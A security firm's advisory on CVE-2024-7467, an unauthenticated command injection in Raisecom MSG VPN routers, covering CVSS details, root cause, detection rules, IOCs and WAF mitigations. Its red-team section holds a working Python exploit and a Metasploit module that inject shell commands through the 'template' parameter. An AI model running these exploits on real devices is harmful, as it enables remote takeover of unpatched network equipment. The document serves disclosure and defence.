CVE-2024-7467

Executive Summary

CVE-2024-7467 is a critical OS command injection vulnerability in Raisecom MSG1200, MSG2100E, MSG2200, and MSG2300 devices running firmware version 3.90. The flaw resides in the sslvpn_config_mod function within /vpn/list_ip_network.php of the web interface. By manipulating the template or stylenum parameters, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full device compromise. The vendor has not responded to disclosure, and no official patch is available. Public exploit code has been released, increasing the risk of widespread exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists. Affected devices are often used in ISP and enterprise edge networks, making them high-value targets for initial access.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the sslvpn_config_mod function of the web interface. The /vpn/list_ip_network.php script accepts user-supplied input via the template and stylenum GET/POST parameters. This input is improperly sanitized and concatenated directly into a shell command executed by the backend. An attacker can inject command separators (e.g., ;, |, &&) followed by arbitrary commands.

Root Cause: Lack of input validation and use of unsafe functions like system() or exec() without escaping shell metacharacters.

Attack Flow:

1. Attacker sends a crafted HTTP request to /vpn/list_ip_network.php with malicious payload in template or stylenum.
2. The web server passes the input to a shell command without sanitization.
3. The injected command executes with the privileges of the web server (often root).
4. Attacker gains remote code execution on the device.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$template = $_GET['template'];
$command = "vpn_config --template " . $template;
system($command);
?>

Patched Code (Conceptual):

<?php
$template = escapeshellarg($_GET['template']);
$command = "vpn_config --template " . $template;
system($command);
?>

The patched version uses escapeshellarg() to properly escape shell arguments, preventing injection. Since no official patch exists, users must implement virtual patching or upgrade to a non-vulnerable version if available.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target Raisecom device with firmware 3.90
• Network access to the web interface (port 80/443)

Exploit (Python):

import requests

target = "http://<TARGET_IP>"
payload = "; id;"
url = f"{target}/vpn/list_ip_network.php?template={payload}"

try:
    r = requests.get(url, timeout=10)
    print("Response:")
    print(r.text)
except Exception as e:
    print(f"Error: {e}")

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Raisecom MSG Series OS Command Injection',
      'Description' => 'Exploits CVE-2024-7467 for RCE',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2024-7467']],
      'DisclosureDate' => '2024-08-01',
      'License' => MSF_LICENSE
    ))
    register_options([
      OptString.new('TARGETURI', [true, 'The URI path', '/vpn/list_ip_network.php']),
      OptString.new('CMD', [true, 'The command to execute', 'id'])
    ])
  end

  def exploit
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'vars_get' => {
        'template' => "; #{datastore['CMD']};"
      }
    })
  end
end

Blue Team

Detection:

• Monitor HTTP requests to /vpn/list_ip_network.php for unusual parameters containing shell metacharacters (;, |, &, `).
• Alert on outbound connections from the device to unknown IPs on non-standard ports.
• Check for unexpected processes or files created in /tmp.

Honeypot: Deploy a low-interaction honeypot mimicking the vulnerable endpoint to capture attacker payloads.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /vpn/list_ip_network.php with parameters containing ;, |, &&, or base64-encoded commands.
  • Outbound connections from the device to IPs on ports 4444, 1337, or 31337 (common reverse shell ports).
• File System:
  • Unexpected files in /tmp/ (e.g., /tmp/.x).
  • Modified /etc/passwd or /etc/shadow.
• Process:
  • Unusual processes like bash, nc, python, or perl spawned by the web server.

Detection Engineering

YARA Rule

rule CVE_2024_7467_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2024-7467"
        author = "Valters IT"
        date = "2024-08-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7467"
    strings:
        $payload1 = "template=" ascii wide nocase
        $payload2 = "stylenum=" ascii wide nocase
        $shellchar = /[;|&`$()]/
    condition:
        any of ($payload*) and #shellchar > 2
}

Sigma Rule

title: CVE-2024-7467 OS Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting /vpn/list_ip_network.php with shell metacharacters
author: Valters IT
date: 2024-08-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '/vpn/list_ip_network.php'
        cs-uri-query|re:
            - '.*[;|&`$()].*'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7467 OS Command Injection Attempt"; flow:to_server; content:"/vpn/list_ip_network.php"; http_uri; pcre:"/(template|stylenum)=.*[;|&`$()]/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from untrusted networks (e.g., place behind a firewall with strict ACLs).
2. Implement virtual patching using WAF rules to block requests containing shell metacharacters in the template or stylenum parameters.
3. Monitor logs for exploitation attempts and IOCs.

Long-term:

• Contact Raisecom for an official patch or firmware update.
• If no patch is available, consider replacing the device with a supported alternative.
• Apply the principle of least privilege to the web server process.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "/vpn/list_ip_network.php" "chain,id:1001,deny,status:403,msg:'CVE-2024-7467 Exploit Attempt'"
SecRule ARGS "template|stylenum" "@rx [;|&`$()]" "t:urlDecodeUni"

Valters IT
Securing Digital Frontiers